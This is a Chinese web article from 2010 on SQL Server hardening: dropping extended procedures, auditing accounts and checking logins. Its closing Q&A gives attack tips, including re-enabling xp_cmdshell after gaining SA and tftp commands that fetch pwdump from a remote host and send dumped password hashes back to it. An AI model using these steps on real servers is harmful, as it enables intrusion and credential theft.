打印本文 关闭窗口 | |
从IIS转到SQL数据库安全来源于瑞达科技网 | |
作者:佚名 文章来源:家电网 点击数 更新时间:2010/6/6 文章录入:瑞达 责任编辑:李家远华 | |
|
|
当我们获得数据库的sa管理员帐号后,就应该可以完全控制这个机器了。可见数据库安全的重要性。 下面这些存储过程都是对Public可以执行的: xp_fileexist,用来确定一个文件是否存在。 xp_getfiledetails,可以获得文件详细资料。 xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。 Xp_getnetname,可以获得服务器名称。 还有可以操作注册表的存储过程,这些不是对Public可以执行的,需要系统管理员或者授权执行: Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread (对Public可以执行) Xp_regremovemultistring Xp_regwrite SQL Server的安全配置 除跟着微软打满所有补丁外,还需要加强数据库的安全。 首先,你需要加强象sa这样的帐号的密码,跟系统帐号的使用配置相似,一般操作数据库不要使用象sa这样的最高权限的帐号,而使用能满足你的要求的一般帐号。 接着对扩展存储过程开始大屠杀,首先就是xp_cmdshell,还有就是上面那些一大堆存储过程,都drop吧,一般也用不着。 执行: use master sp_dropextendedproc 'xp_cmdshell' 去掉guest帐号,阻止非授权用户访问。 去掉不必要的网络协议。 加强对数据库登陆的日志记录,最好记录所有登陆***。可以用下面的简单DOS命令来查看日志: findstr /C:"登录" d:\Microsoft SQL Server\MSSQL\LOG\*.* 用管理员帐号定期检查所有帐号,是否密码为空或者过于简单,比如下面的语句: Use master Select name,Password from syslogins where password is null 用下面语句对所有帐号,检查对存储过程和扩展存储过程的执行权,提防不必要的执行权限扩散: Use master Select sysobjects.name From sysobjects, sysprotects Where sysprotects.uid = 0 AND xtype IN ('X','P') AND sysobjects.id = sysprotects.id 加强数据库的安全是非常重要的,有的数据库服务器是和WEB服务器隔离开的,这就同MAIL服务器一样,数据库的日志可能就基本很少去查看,这将会成为管理员的一个疏忽点。类似DNS、MAIL等等,数据库服务器往往成为各种入侵的跳板。 下面是一些关于数据库的问答和技巧: 1、获得SA权限后,却不能执行xp_cmdshell存储过程怎么办? 答:可能是已经把xp_cmdshell等扩展存储过程删除了,可以用这个存储过程把xp_cmdshell恢复。 sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 2、通过数据库用pwdump获得系统管理员密码 先上传一个pwdump tftp -i <ip> GET pwdump3.exe pwdump3.exe tftp -i <ip> GET lsaext.dll lsaext.dll tftp -i <ip> GET pwservice.exe pwservice.exe pwdump3 127.0.0.1 outfile.txt tftp <ip> PUT outfile.txt outfile.txt 然后再用解密工具l0pht等等破解这些密码。 3、从数据库读取系统管理员密码。 能读出加密的密码是NT的"administrator"帐号也不能做的,SQL Server能 |
|
打印本文 关闭窗口 |